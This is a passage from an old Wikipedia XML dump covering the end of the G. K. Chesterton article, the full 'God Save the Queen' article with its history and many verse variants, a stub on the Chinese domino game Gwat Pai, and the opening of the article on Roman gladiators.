* Chesterton's work has inspired lyricists like [[Daniel Amos]]'s [[Terry Scott Taylor]] from the [[1970s]] to the [[2000s]]. Daniel Amos mentioned Chesterton by name in the title track from [[2001]]'s ''[[Mr. Buechner's Dream]]''.
* His physical appearance and apparently some of his mannerisms were a direct inspiration for the character of [[Dr. Gideon Fell]], a well-known fictional [[detective]] created in the early [[1930s]] by the Anglo-American [[Mystery fiction|mystery]] [[writer]] [[John Dickson Carr]].
* The author [[Neil Gaiman]] has stated that ''The Napoleon of Notting Hill'' was an important influence on his own book ''[[Neverwhere]]''. Gaiman also based the character Gilbert, from the comic book &lt;cite&gt;[[The Sandman (DC Comics Modern Age)|The Sandman]]&lt;/cite&gt;, on Chesterton. 
* [[Ingmar Bergman]] considered Chesterton's little known play ''Magic'' to be one of his favourites and even staged a production in Swedish. Later he reworked ''Magic'' into his movie ''[[The Magician (1958 film)|The Magician]]'' in 1958.  Also known as ''Ansiktet'' the movie and the play are both roughly similar although the two should not be compared. Both are essentially the work of two authors with widely different world views.
* Some conservatives today have been influenced by his support for [[distributism]]. [[Arthur Chesterton|A. K. Chesterton]],  the right-wing journalist and the first chairman of the [[British National Front|National Front]], was a cousin.
* ''[[The Innocence of Father Brown]]'' is cited by [[Guillermo Martinez]] as one of the inspirations for his thriller ''[[The Oxford Murders]]''. Martinez explicitly quotes from Chesterton's story in Chapter 25 of ''The Oxford Murders''.

==See also==

*[[List of books by G. K. Chesterton]]
*[[Christian apologetics]] (field of study concerned with the defence of Christianity)

== Literature and biographies on Chesterton ==
* Ward, M., ''Gilbert Keith Chesterton'' Sheed &amp; Ward, 1944
* [[Michael Coren]], &quot;Gilbert - the Man Who Was G. K. Chesterton'&quot;.
* [[Joseph Pearce]], &quot;Wisdom and Innocence - A Life of G.K.Chesterton&quot;, Hodder &amp; Stoughton, London, 1996. ISBN: 0-340-67132-7
* [[Marshall McLuhan ]] wrote an article on G.K. Chesterton, titled &quot;G.K. Chesterton: A Practical [[Mystic]]&quot; (''Dalhousie Review'' 15 (4), 1936).
* Chesterton's writings have been praised by such authors as [[Ernest Hemingway]], [[Graham Greene]], [[Frederick Buechner]], [[Evelyn Waugh]], [[Jorge Luis Borges]], [[Gabriel García Márquez]], [[Karel Capek|Karel Čapek]], [[Paul Claudel]], [[Dorothy L. Sayers]], [[Agatha Christie]], [[Sigrid Undset]], [[Ronald Knox]], [[C. S. Lewis]], [[Kingsley Amis]], [[W. H. Auden]], [[Anthony Burgess]], [[E. F. Schumacher]], [[Neil Gaiman]], [[Orson Welles]], [[Dorothy Day]] and others.

== References ==
* ''The Oxford Dictionary of 20th Century Quotations'' by [[Oxford University Press]] (ISBN 0-19-860103-4)

==External links==
{{wikiquote}}
{{Wikisource author|Gilbert Keith Chesterton|G. K. Chesterton}}
* [http://www.chesterton.org The American Chesterton Society]
* {{gutenberg author|id=G._K._Chesterton|name=G. K. Chesterton}}
* [http://www.dur.ac.uk/martin.ward/gkc/books/ An extensive collection of e-text links]
* [http://greatsfandf.com/AUTHORS/GKChesterton.shtml G. K. Chesterton]: notes on his novel ''The Man Who Was Thursday''
* [http://www.classiccrimefiction.com/chestertonbib.htm  Bibliography of detective fiction 1st Editions ]
* [http://www.chesterton.ru/ G. K. Chesterton in Russian]
* [http://www.gilbertmagazine.com/  Gilbert Magazine]: a magazine about Chesterton and topics of interest
* [http://www.chestertonhouse.org Chesterton House: A Center for Christian Studies at Cornell University]
* [http://academic.shu.edu/chesterton/chestertonreview.htm The Chesterton Review]: published by the [http://academic.shu.edu/chesterton/ Chesterton Institute for Faith and Culture] at Seton Hall University
* [http://www.littleflower.co.uk/chesterton.htm His Parish Church in Beaconsfield where he is buried]
* [http://chestertonandfriends.blogspot.com/ Chesterton and Friends], a little blog dedicated to Chesterton

[[Category:1874 births|Chesterton, G. K.]]
[[Category:1936 deaths|Chesterton, G. K.]]
[[Category:British journalists|Chesterton, G.K.]]
[[Category:English mystery writers|Chesterton, G. K.]]
[[Category:English novelists|Chesterton, G. K.]]
[[Category:English short story writers|Chesterton, G.K.]]
[[Category:Roman Catholic writers|Chesterton, G.K.]]
[[Category:World War I poets|Chesterton, G. K.]]
[[Category:UCL alumni|Chesterton, G. K.]]
[[Category:Londoners|Chesterton, G. K.]]
[[Category:Old Paulines|Chesterton, G. K.]]

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    <title>God Save the Queen</title>
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      <text xml:space="preserve">: ''This article is on the British patriotic anthem.  For the [[Sex Pistols]] song, see [[God Save the Queen (Sex Pistols song)]].''

'''''God Save the Queen''''' is a [[Patriotism|patriotic]] song whose origin remains a matter of speculation. It is traditionally used as the [[national anthem]] of the [[United Kingdom]], one of the two national anthems of [[New Zealand]], and the [[royal anthem]] of [[Canada]], [[Australia]], and the other [[Commonwealth Realm]]s, as well as the royal anthem of the [[British Royal Family]]. When the [[British monarch]] is male it becomes '''''God Save the King'''''. ''God Save the King'' (or ''... Queen'') is also the royal anthem (but not the [[national anthem]]) of [[Norway]] &amp;ndash; sung there in [[Norwegian language|Norwegian]] &amp;ndash; as the Norwegian and British royal familes both descend from [[Victoria of the United Kingdom|Queen Victoria]].

There is no single authorised version of the song; indeed, the anthem has never been officially adopted by [[Royal Proclamation]] nor [[Act of Parliament]]. In general only one, or on rare occasions two, verses are ever sung [http://www.royal.gov.uk/output/page317.asp]. 

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&lt;div style=&quot;float: left; margin-left: 5px;&quot;&gt;[[Image:Sound-icon.png|24px|Icon of loudspeaker]]&lt;/div&gt;
&lt;div style=&quot;margin-left: 50px; margin-top: 2px;&quot;&gt;[http://www.shakespeare-w.com/sounds/uksong.ram '''Listen to anthem'''] ([[Wikipedia:Media help|audio help]])&lt;/div&gt;
&lt;/div&gt;

==History==
The origin of the tune is surrounded by uncertainty, speculation and a certain amount of misinformation. In the ''Oxford Companion to Music'', [[Percy Scholes]] devotes about four pages to this subject. He points out the similarities to an early [[plainsong]] melody, although he points out that the rhythm is very distictly that of a [[galliard]] and gives examples of several such dance tunes that bear a striking resemblance to ''God Save the Queen''. He quotes a keyboard piece by Dr. [[John Bull (composer)|John Bull]] (1619) which has some strong similarities to the modern tune (rather more or less like it, depending on the placing of [[accidental (music)|accidentals]] which, at that time, were, in certain cases, unwritten and left to the discretion of the player&amp;mdash;see ''[[Musica ficta]]''). He also points to several pieces by [[Henry Purcell]], one of which includes the opening notes of the modern tune, set to the words ''God save the King''.

The first definitive published version of the present tune appeared in ''Thesaurus Musicus'', in [[1744]], as a setting of the familiar first verse. Undoubtedly, the song was popularized in the following year (with the landing of the [[Young Pretender]]). It was certainly sung in London theatres in 1745 with, for example, [[Thomas Arne]] writing a setting of the tune for the [[Drury Lane Theatre]].

Scholes' analysis includes mention of &quot;untenable&quot; and &quot;doubtful&quot; claims, as well as &quot;an American misattribution&quot;. Some of these are:

* A tale, widely believed in France, that the tune was written by [[Jean-Baptiste Lully|Lully]] for [[Louis XIV of France|Louis XIV]], then pirated by [[George Frideric Handel|Handel]]. Scholes points out gross errors of date which render these claims untenable, and they have been ascribed to a 19th-century forgery, the ''Souvenirs'' of the [[Marquise de Créquy]].
* [[James Oswald]]. He is a possible author of the ''Thesaurus Musicus'' so may certainly have played a part in this story, but is not a strong enough candidate to be cited as the composer of the tune.
* Dr. [[Henry Carey]]. Scholes refutes this attribution, firstly, on the grounds that Carey himself never made such a claim. Secondly, when the claim was made by Carey's son (as late as 1795), it was accompanied by a request for a pension from the British Government on that score; thirdly, that the younger Carey claimed that his father had written parts of it in 1745 (despite the fact that the older Carey had died in 1743!). It has also been claimed that the first public performance of the work was when Carey sang it during a dinner in [[1740]] in honour of [[Admiral]] [[Edward Vernon]] who had captured the [[Spain|Spanish]] harbour of [[Porto Bello]] (then in [[Colombia]], now [[Panama]]) during the [[War of Jenkins' Ear]].

Scholes recommends the attribution; &quot;traditional&quot; or &quot;traditional; earliest known version by John Bull (1562-1628)&quot;. The ''[[English Hymnal]]'' (musical editor [[Ralph Vaughan Williams]]) gives no attribution, stating merely &quot;17th or 18th cent.&quot;.

Traditionally, the first performance was thought to have been in [[1745]], when it was sung in support of [[George II of Great Britain|George II]] after the defeat of his army at the [[Battle of Prestonpans]] by the [[Jacobitism|Jacobite]] claimant to the British throne, [[Bonnie Prince Charlie]], whose forces were mostly Scottish. To express this support verse 6 was added, but as its call to crush the rebels now suggests an anti-Scottish sentiment it is rarely (if ever) sung nowadays. 

[[Joseph Haydn]] was impressed by the use of ''God Save the King'' as a national anthem during his visit to [[London]] in [[1794]], and on his return to [[Austria]] wrote a tune to the national anthem, the ''[[Gott erhalte Franz den Kaiser|God Save Emperor Franz]]'' (''Gott erhalte Franz den Kaiser''), for the birthday of the [[Francis II, Holy Roman Emperor|Emperor Franz of Austria]]. The tune of ''God Save the King'' was later adopted for the Prussian national anthem ''Heil Dir im Siegerkranz''.

==Use in the Commonwealth==
It was formerly used as a national anthem by most of the [[Commonwealth Realm]]s, including [[Australia]], [[Canada]], and [[Jamaica]]. It has since been replaced by ''[[Advance Australia Fair]]'', ''[[O Canada]]'', and ''[[Jamaica, Land We Love]]'' respectively, though it remains those countries' [[royal anthem]] and is played during formal ceremonies involving the Royalty or viceroyalty ([[Governor-General|Governors-General]], [[Governor]]s, and [[Lieutenant-Governor]]s&amp;mdash;see [[Vice Regal Salute]]); in Canada, ''[[God Save the Queen]]'' is sometimes sung together with ''[[O Canada]]'' at public events. It continues to be recognised as the national anthem of [[New Zealand]], together with ''[[God Defend New Zealand]]'', although it is almost never performed as such. It is also the former national anthem of [[Republic of Ireland|Ireland]], replaced in the 1920s by ''[[Amhrán na bhFiann]]'' (in English, ''The Soldier's Song'').

==Use elsewhere==
''God Save the Queen'' was the very first song to be used as a national anthem (although the [[Netherlands]]' national anthem, the ''[[Wilhelmus]]'', is actually older), and its tune was either used as or officially adopted as the national anthem for several other countries, including those of [[Germany]] (unofficial), [[Russia]] (until [[1833]]), [[Sweden]] and [[Switzerland]].

In Australia it is more common to sing &quot;'''God Save our Sausages'''&quot; because of the nation's preoccupation with the backyard barbecue.

It is also the melody to the popular [[United States]] [[patriotic song]] ''[[My Country, 'Tis of Thee]]''. The tune is also used as [[Norway]]'s [[Royal anthem]] entitled ''[[Kongesangen]]''. The rock band [[Queen (band)|Queen]] played ''God Save the Queen'' at the end of all of their concerts.

The tune is still used as the national anthem of [[Liechtenstein]]. This was a source of embarrassment to Winter Olympic officials in 1980 when [[Hanni Wenzel]] won this country's first gold medal ever, and they had no record of her country's national anthem. There was also an amusing incident when [[England national football team|England]] met [[Liechtenstein national football team|Liechtenstein]] in a [[2004 European Football Championship|Euro 2004]] qualifier, which necessitated the same tune being played twice.

The melody of ''God Save the Queen'' is used in Christianity as well. The [[United Methodist Church|United Methodist]]s of the southern United States, Mexico, and Latin America play the same melody as a hymn.

==Other UK anthems==
Frequently, when an anthem is needed for one of the component countries of the UK &amp;mdash; at an international sporting event, for instance &amp;mdash; an alternate song is used: 

* [[Wales]] has its own recognised anthem in ''[[Hen Wlad Fy Nhadau]]'' (''Land of My Fathers'');
* [[Scotland]] uses either ''[[Flower of Scotland]]'' or ''[[Scotland the Brave]]'', or traditionally ''[[Scots Wha Hae]]'';
* England generally uses ''God Save the Queen'', but has used ''[[And did those feet in ancient time|Jerusalem]]'' or ''[[Land of Hope and Glory]]''.
* [[Northern Ireland]] generally uses ''God Save the Queen'' at events associated with the British tradition, and the Irish national anthem ''[[Amhrán na bhFiann]]'' at events associated with the Irish tradition. Additionally, ''[[Londonderry Air]]'' is a popular cross-community anthem.
* At international [[football (soccer)|football]] matches, England and Northern Ireland both use ''God Save the Queen'', while Scotland uses ''Flower of Scotland'', and Wales uses ''Hen Wlad Fy Nhadau''. There has been some debate about replacing ''God Save the Queen'' with ''Jerusalem'' for England matches. 
* At international [[rugby league]] matches, England uses ''Land of Hope and Glory'' while Scotland uses ''Flower of Scotland'' and Wales uses ''Hen Wlad Fy Nhadau''. At Great Britain matches, ''God Save the Queen'' is played, which recently led to Irish-born [[Brian Carney]] bowing his head and not singing along.
* In international [[rugby union]], England uses ''God Save the Queen'', Scotland ''Flower of Scotland'' and Wales ''Hen Wlad Fy Nhadau''.  Ireland (a team representing both [[Northern Ireland]] and the [[Republic of Ireland]]) sing ''[[Ireland's Call]]'', a song which attempts to unite the two traditions on the island.
* Recently the [[British and Irish Lions]] rugby union tour used the song ''[[The Power of Four]]'' but this anthem was especially designed for the tour and will likely not be used again, perhaps because most of the players did not know the anthem. There is actually no collective anthem for Britain and Ireland since the Republic of Ireland has been independent from the United Kingdom since 1920.
* [[The Song of the Western Men]] has popularly been considered to be the Cornish national anthem and is sung at rugby matches and events such as [[Saint Perran]]'s day or at the end of concerts. However some [[Cornish nationalists]] argue that [[Bro Goth Agan Tasow]] which is in [[Cornish language|Cornish]] rather than English should be adopted.

==Performance==
The style of performance most commonly heard in official performances was that proposed as the &quot;proper interpretation&quot; by [[George V of the United Kingdom|King George V]], who considered himself something of an expert, in view of the number of times he had heard it played. An Army Order was duly issued, in 1933, which laid down regulations for tempo, dynamics and orchestration. This included instructions such as that the opening &quot;six bars will be played quietly by the reed band with horns and basses in a single phrase. Cornets and side-drum are to be added at the little scale-passage leading into the second half of the tune, and the full brass enters for the last eight bars&quot;. The official tempo for the opening section is a metronome setting of 60, with the second part played in a broader manner, at a metronome setting of 52{{fn|2}}. 

This slow and sombre pace can sound dreary to those having more modern tastes than George V, and more recent performances sometimes use a faster and livelier [[tempo]] to reduce the dreary effect. Comedian [[Billy Connolly]] performed a sketch broadcast on TV comparing the UK's slow tune to the lively ones of many other nations and suggested that it should be replaced by the theme tune to ''[[The Archers]]''.

So far, [[Parliament of the United Kingdom|Parliament]] has declined to take action.

At the end of theatre performances the audience was expected to stand to attention while the anthem was played. In cinemas this brought a tendency for audiences to rush out while the credits played at the end of the film to avoid this formality.

The anthem was traditionally played at closedown on the [[BBC]] and with the introduction of commercial television to the UK this practice was adopted by some [[ITV]] regions. [[BBC Two]] never played the anthem at closedown, and ITV dropped the practice in the late 1980s, but it continued on [[BBC One]] until [[8 November]] [[1997]], and is still done on [[BBC Radio 4]].

The rock band [[Queen (band)|Queen]] put a version of ''God Save the Queen'' on their [[1975 in music|1975]] album ''[[A Night at the Opera (album)|A Night at the Opera]]''. During the Queen's [[Golden Jubilee]] [[pop music|pop]] concert at [[Buckingham Palace]] on [[4 June]] [[2002]], [[Brian May]] performed the anthem on electric [[guitar]] from the Palace's roof.

The Broadway musical ''[[West Side Story]]'' ([[1957]]) also features the Jets (a street gang of Polish-Americans) whistling the first six [[bar (music)|bars]] of ''My Country 'Tis of Thee'', which has the same tune as ''God Save the Queen''.

In 1970, the rock band ''Gentle Giant'' put a version of ''God save the Queen'' on their album ''Gentle Giant''.

==Lyrics==
The United Kingdom version is as follows:
&quot;God save our gracious Queen,
Long live our noble Queen:
God save the Queen.
Send her victorious,
happy and glorious,
long to reign over us: God save the Queen.

Another verse follows but in ceremonies i.e. the Proms it is one verse:
Thy choicest gifts in store,
on her be pleased to pour,
Long may she reign,
May she defend our laws,
and ever give us cause,
to sing with heart and voice,
God save the Queen.
Since ''God Save the Queen'' is the Royal Anthem of [[Canada]], the first verse has been translated into [[French language|French]] for use in that country, as shown below. As sung in English in Canada, ''God Save the Queen'' has an additional English verse, sung after the first or second verse, which is also given below. In general use in Canada, however, only the first verse is sung. In [[New Zealand]], the second verse, which proved to be more militaristic, was replaced with the fourth verse, otherwise known as a ''Commonwealth verse''. However, that verse is primarily used only when the anthem is played past the first verse.

; 1
: God save our gracious Queen,
: Long live our noble Queen,
: God save the Queen:
: Send her victorious,
: Happy and glorious,
: Long to reign over us:
: God save the Queen.

; 2
: O Lord, our God, arise,
: Scatter her enemies,
: And make them fall.
: Confound their politics,
: Frustrate their knavish tricks,
: On thee our hopes we fix:
: God save the Queen.

; 3
: Thy choicest gifts in store,
: On her be pleased to pour;
: Long may she reign:
: May she defend our laws,
: And ever give us cause
: ''To sing with heart and voice''
: ''God save the Queen'' &lt;sup&gt;1&lt;/sup&gt;.

Although in the original lyrics, verses 4-6 are now omitted entirely - partly to reduce the length of the anthem and partly due to the 'rebellious Scots to crush' line in verse six:

; 4
: Not in this land alone,
: But be God's mercies known,
: From shore to shore!
: Lord make the nations see,
: That men should brothers be,
: And form one family,
: The wide world o'er.

; 5
: From every latent foe,
: From the assassins blow,
: God save the Queen!
: O'er her thine arm extend,
: For Britain's sake defend,
: Our mother, prince, and friend,
: God save the Queen!

; 6
: Lord grant that [[George Wade|Marshal Wade]]
: May by thy mighty aid
: Victory bring.
: May he sedition hush,
: And like a torrent rush,
: Rebellious [[Scotland|Scots]] to crush.
: God save the Queen!

Verse 6 was a reaction to Sir [[John Cope]]'s defeat by the [[Jacobite Rising|Jacobites]] at the [[Battle of Prestonpans]] with a prayer for the success of Wade's army then assembling at [[Newcastle upon Tyne|Newcastle]].

The Jacobite forces bypassed his force and reached [[Derby]], but then retreated and when their garrison at [[Carlisle]] surrendered to a second government army led by King George's son the [[William Augustus, Duke of Cumberland|Duke of Cumberland]] another verse was added, according to Fitzroy Maclean {{fn|1}}: The verse he quotes appears to have a line missing.

; 7
: George is magnanimous,
: Subjects unanimous;
:: Peace to us bring:
: His fame is glorious,
: Reign meritorious,
:: God save the King!

In the 19th century, there was some lively debate about the national anthem. Even then, verse two was considered to be slightly offensive. Notably, the question arose over the phrase &quot;scatter her (or his) enemies&quot;. Some thought it placed better emphasis on the respective power of Parliament and the Crown to change &quot;her&quot; to &quot;our&quot;; others pointed out that the theology was somewhat dubious and substituted &quot;thine&quot; instead. In 1836, [[William Edward Hickson]] wrote four alternative verses:

; 1
: God bless our native land!
: May heaven's protecting hand
: Still guard our shore:
: May peace her power extend,
: Foe be transformed to friend,
: And Britain's rights depend
: On war no more.

; 2
:O Lord, our monarch bless
:With strength and righteousness:
:Long may she reign:
:Her heart inspire and move
:With wisdom from above;
:And in a nation's love
:Her throne maintain

; 3
:May just and righteous laws
:Uphold the public cause,
:And bless our isle:
:Home of the brave and free,
:Thou land of liberty,
:We pray that still on thee
:Kind heaven may smile.

; 4
: Nor on this land alone,
: But be God's mercies known
: From shore to shore:
: Lord make the nations see
: That men should brothers be,
: And form one family
: The wide world o'er

The first, third, and fourth of these verses are appended to the National Anthem in the ''[[English Hymnal]]''. However, only the fourth seems to get even the rarest airing nowadays, often with the first word erroneously changed to &quot;not&quot;. Charles T. Brooks, in [[1833]], translated a German [[Lutheranism|Lutheran]] [[hymn]] also starting with the words ''God bless our native land''. This hymn inspired Rev. [[Samuel F. Smith]] to write the words to the [[United States|American]] patriotic song ''[[My Country, 'Tis of Thee]]'' (also known as ''America''), sung to the same tune, in 1832.

; 1
: God bless our native land!
: Firm may she ever stand
: Thro' storm and night!
: When the wild tempests rave,
: Ruler of wind and wave
: Do Thou our country save
: By Thy great might.

; 2
: For her our prayer shall rise
: To God above the skies;
: On Him we wait.
: Thou who art ever nigh,
: Guarding with watchful eye,
: To Thee aloud we cry,
: God save the State!

To this hymn is often added the fourth of Hickson's verses.

===First verse in French, as sung in Canada===

: Dieu protège la reine
: De sa main souveraine!
: Vive la reine!
: Qu'un règne glorieux,
: Long et victorieux
: Rende son peuple heureux.
: Vive la reine!

===Bilingual verse in Canada - often song on Remembrance Day===

: Dieu sauve notre reine,
: Notre glorieuse reine,
: Vive la reine!
: Send her victorious,
: Happy and glorious,
: Long to reign over us,
: God Save the Queen!!

===Additional verse sung in Canada===

: Our loved Dominion bless
: With peace and happiness
: From shore to shore;
: And let our Empire be
: Loyal, united, free
: True to herself and Thee
: ''God save the Queen''{{footnote|1}}.

===Official peace version===

Although known as the &quot;official peace version, [[1919]]&quot;, these less militaristic verses are not the official national anthem. They are found in some hymn books.

; 1
: God save our gracious Queen
: Long live our noble Queen
: God save the Queen!
: Send her victorious
: Happy and glorious
: Long to reign over us
: God save the Queen!

; 2
: One realm of races four
: Blest more and ever more
: God save our land!
: Home of the brave and free
: Set in the silver sea
: True nurse of chivalry
: God save our land!

; 3
: Of many a race and birth
: From utmost ends of earth
: God save us all!
: Bid strife and hatred cease
: Bid hope and joy increase
: Spread universal peace
: God save us all!

==Footnote==
# When the monarch of the time is male, the last two lines of Verse 3 become 'with heart and voice to sing, God Save the King'

== A naval version ==
: God save Great George our King,
: Long live our Noble King,
: God Save the King!
: Fulfill his heart's desire,
: And all our youth inspire,
: With pure celestial fire,
: Thy praise to sing!

: When insults rise to wars,
: Oak-hearted British Tars
: Scorn to be slaves;
: Ranged in our wooden walls,
: Ready when duty calls
: To send our cannon balls
: O'er oceans' waves.

== See also ==
* ''[[My Country, 'Tis of Thee]]'', patriotic in the [[United States]], sung to the same music.
* ''[[Oben am jungen Rhein]]'', national anthem of [[Liechtenstein]], sung to the same music.
* ''[[Heil dir im Siegerkranz]]'', national anthem of the [[German Empire]] from [[1871]] to [[1918]], sung to the same music.
* ''[[God Save the Queen (Sex Pistols song)]]''
* [[UK topics]]

==External links==
{{wikisource}}
* [http://david.jamesnet.ca/britannica/God_Save_the_Queen.ra British National Anthem (Choir)]
* [http://news.bbc.co.uk/olmedia/1035000/audio/_1038758_united_kingdom.ram Listen to the British National Anthem]
* [http://www.nationalanthems.info/gb.mid God Save The Queen (MIDI)]
* [http://www.royal.gov.uk/output/page317.asp Official Royal Family site] - National anthem page
* [http://www.pch.gc.ca/progs/cpsc-ccsp/sc-cs/godsave_e.cfm Department of Canadian Heritage] - Royal anthem page
* [http://www.shakespeare-w.com/sounds/uksong.ram British National Anthem sung by choir]
* [http://portal.omroep.nl/mplayer?nav=otgklCsHEbGcZpHpPyB ''God Save the Queen'', recorded at wedding ceremony of Charles and Camilla at St. George's Chapel Windsor - Video from Dutch public television website]
* [http://www.stgeorgesnews.org/2005/04f05.htm God Save Great George our King] - article discussing different versions of the lyrics
* [http://www.gmarchal.net/godsavetheking.htm   Dieu sauve le Roi ! (Loulou la fistule...)], by [[Gilles Marchal]]

==Sources==
* {{fnb|1}}Maclean, Fitzroy, ''Bonnie Prince Charlie'', Canongate Books Ltd. 1989 ISBN 0-86241-568-3
* {{fnb|2}}Percy A Scholes: ''Oxford Companion to Music, Tenth Edition'', OUP
* ''The English Hymnal with Tunes'', OUP, 1906

[[Category:National anthems]]
[[Category:Royal anthems]]
[[Category:British cultural icons]]
[[Category:Patriotic songs]]

[[ang:God Save the Queen]]
[[cs:Hymna Velké Británie]]
[[de:God Save the Queen]]
[[et:God Save the Queen]]
[[es:God Save the Queen]]
[[eo:God Save the Queen]]
[[fr:God Save the Queen]]
[[gl:God Save the Queen]]
[[hr:God Save the Queen]]
[[id:God Save the Queen]]
[[it:God Save the Queen]]
[[he:המנון הממלכה המאוחדת]]
[[lt:Jungtinės Karalystės himnas]]
[[hu:Az Egyesült Királyság himnusza]]
[[ms:God Save the Queen]]
[[nl:God Save the Queen]]
[[ja:女王陛下万歳]]
[[no:God Save the King/Queen]]
[[nn:God Save the King/Queen]]
[[pl:Hymn Wielkiej Brytanii]]
[[pt:Hino nacional do Reino Unido]]
[[ro:God Save the Queen]]
[[simple:God Save the Queen]]
[[sk:God Save the Queen]]
[[sl:God Save the Queen]]
[[sr:God Save the Queen]]
[[fi:God Save the Queen]]
[[sv:God Save the Queen]]
[[vi:God Save the Queen]]
[[tr:Tanrı Kraliçeyi Korusun]]
[[zh:天佑吾王]]</text>
    </revision>
  </page>
  <page>
    <title>Gwat Pai</title>
    <id>12335</id>
    <revision>
      <id>40363901</id>
      <timestamp>2006-02-20T01:54:16Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">[[Image:ChineseDominoes.JPG|thumb|right|A set of Chinese dominoes]]
'''Gwat Pai''' (&amp;#39592;&amp;#29260;) literally means &quot;bone tiles&quot; in [[Cantonese language|Cantonese]].
It refers to the [[Chinese dominoes]] set.
Gwat Pai is also the name of a northern Chinese game that is played with the Chinese domino set.
Gwat Pai's game rule is quite different from the southern Chinese game [[Tien Gow]].

==External links==
*[http://www.gwat.tk an article dated back to 1893]

[[Category:Chinese dominoes]]
{{game-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Gladiator</title>
    <id>12336</id>
    <revision>
      <id>42163856</id>
      <timestamp>2006-03-04T06:10:23Z</timestamp>
      <contributor>
        <ip>128.192.180.138</ip>
      </contributor>
      <comment>/* Ancient Roman gladiators */</comment>
      <text xml:space="preserve">:''This article is about the Roman professional fighter.  For other uses of the word, see [[gladiator (disambiguation)|gladiator (disambiguation)]].''
[[Image:Jean-Leon_Gerome_Pollice_Verso.jpg|thumb|300px|right|''Pollice Verso'', an [[1872]] painting by [[Jean-Léon Gérôme]], is a well known [[history painting|history painter]]'s researched conception of a gladiatorial combat.]]
'''Gladiators''' ([[Latin]] ''gladiatores'') were professional fighters in ancient [[Rome]] who fought against each other, wild animals, and slaves, sometimes to the death, for the entertainment of spectators. These fights took place in [[arena]]s in many cities during the [[Roman republic]] and the [[Roman Empire]].

The word comes from ''[[gladius]]'', the Latin word for a short [[sword]] used by [[legionaries]] and some gladiators.
===Ancient Roman gladiators===
The gladiatorial games were originally established by the [[Etruscan civilization|Etruscans]], but were later adopted by the Romans as a means of entertainment. The Etruscans believed when an important man died his spirit needed a blood sacrifice to survive in the after life (Nardo, Games of 21). The first recorded gladiatorial combats took place in Rome in [[264 BC]]. [[Decimus Junius Brutus| Decimus Junius Brutus Scaeva]] staged it in honor of his dead father. It was held between three pairs of slaves, and held in the [[Forum Boarium]]. The ceremony was called a munus or “duty paid to a dead ancestor by his descendants, with the intention of keeping alive his memory” (Baker, Gladiator 10). These were held for notable people and were repeated every one to five years after the person’s death.

Public spectacles (called ''munera'', singular ''munus'') took place in [[amphitheatre]]s (like the [[Colosseum]]) and took the latter half of the day after the fights against animals (''[[venatio|venationes]]'') and public [[Execution (legal)|executions]] of criminals (''noxii''). Initially rich private individuals organized these, often to gain political favor with the public. The person who organized the show was called the ''editor'', ''munerator'', or ''dominus'' and he was honored with the official signs of a magistrate. Later the emperors would exert a near complete monopoly on staging public entertainment which included chariot racing in the circus (''ludi circenses''), hunts of wild animals, public executions, theatrical performances (''ludi scaenici'') and gladiator fights. There was usually musical accompaniment.

Gladiators were typically picked from prisoners of war, slaves, and sentenced criminals. There were also occasional volunteers. They were trained in special gladiator schools (''ludi''). One of the largest schools was in [[Ravenna]]. There were four schools in Rome itself, the largest of which was called the ''Ludus Magnus''. The ''Ludus Magnus'' was connected to the Colosseum by an underground tunnel. Gladiators often belonged to a troupe (''familia'') that traveled from town to town. A trainer of gladiators or the manager of a team of gladiators was known as a [[lanista]]. The troupe's owner rented gladiators to whomever wanted to stage games. A gladiator would typically fight no more than three times per year.

It should be noted that fights were not generally to the death during the Republic, although gladiators were still killed or maimed accidentally.

Gladiators could be also the property of a wealthy individual who would hire ''lanistae'' to train them. Several senators and emperors had their own favorites. 

Criminals were either expected to die within a year (''ad gladium'') or might earn their release after three years (''ad ludum'') &amp;mdash; if they survived.

Different gladiators specialized in different weapons, and it was popular to pair off combatants with widely different equipment. Gladiator types and their weaponry included: 

* ''Andabatae'': Fought with visored helmet and possibly blindfolded and on horseback. They were called andabatae, from ''άναβαται'', ''ascensores'', because they fought on horseback, or out of chariots.{{ref label|1728|1|^}}
* ''Dimachaeri'': Carried two short swords (the [[gladius]])
* ''Bestiari'': Fought against beasts, usually with spears.
* ''Equites'': Fought on horseback with a spear and gladius, dressed in a full tunic, with a ''[[manica (armour)|manica]]''
* ''Essedari'': [[Charioteer]]s in Celtic style.
* ''Hoplomachi'': Fully armored, based on [[Greece|Greek]] [[hoplite]]s. They wore a helmet with a stylized [[griffin]] on the crest, woollen leg wrappings, and shin-guards. They carried a gladius and a small, round shield, and were paired with mirmillones or Thraces. They apparently became Samnites later.
* ''Laquerii'': [[Lasso]] Laqueatores were those who used a noose to catch their adversaries
* ''[[Murmillo|Mirmillones]]'' (or ''murmillones''): Wore a helmet with a stylized fish on the crest, as well as a ''manica''. They carried a gladius and an oblong shield in the Gallic style. They were paired with hoplomachi or Thraces.
* ''Provocatores'': Fought with the Samnites but their armament is unknown (might have been variable, hence the term &quot;provocators&quot;)
* ''[[Retiarius|Retiarii]]'': Carried a [[trident]], a dagger, and a net, and had at least [[naked]] torso, no helmet, and a larger manica. They commonly fought secutores or mirmillones.
* ''Samnites'': Carried a long rectangular shield, visor, plumed helmet and short sword. The name came from the [[Samnites|people]] of the same name Romans had conquered.
* ''[[Secutor|Secutores]]'': Had the same armour as a murmillo, including oblong shield and a gladius, however, they wore a helmet with only two eye-holes. They were the usual opponents of retiarii. 
* ''Thraces'': Had the same armour and weapons as hoplomachi, but instead had a round shield and also carried a curved dagger. Their name came from [[Thracians]], and they commonly fought mirmillones or hoplomachi.

[[Image:Borghese gladiator 1 mosaic dn r2 c2.jpg|thumb|450px|left|The Gladiator Mosaic at the [[Galleria Borghese]], showing the latter stages of various combats, late Roman period]]
[[Image:GladiatorFeldflasche.jpg|thumb|right|A flask depicting the final phase of the fight between two gladiators (''[[Murmillo|mirmillones]]'').]]
Gladiators usually fought in pairs (''Ordinarii''), that is, one gladiator against another. However, sponsor or audience could request other combinations like several gladiators fighting together (''Catervarii'') or specific gladiators against each other even from outside the established troupe (''Postulaticii''). Sometimes a lanista had to rely on substitutes (''supposititii'') if the requested gladiator was already dead or incapacitated. The Emperor could have his own gladiators (''Fiscales''). 

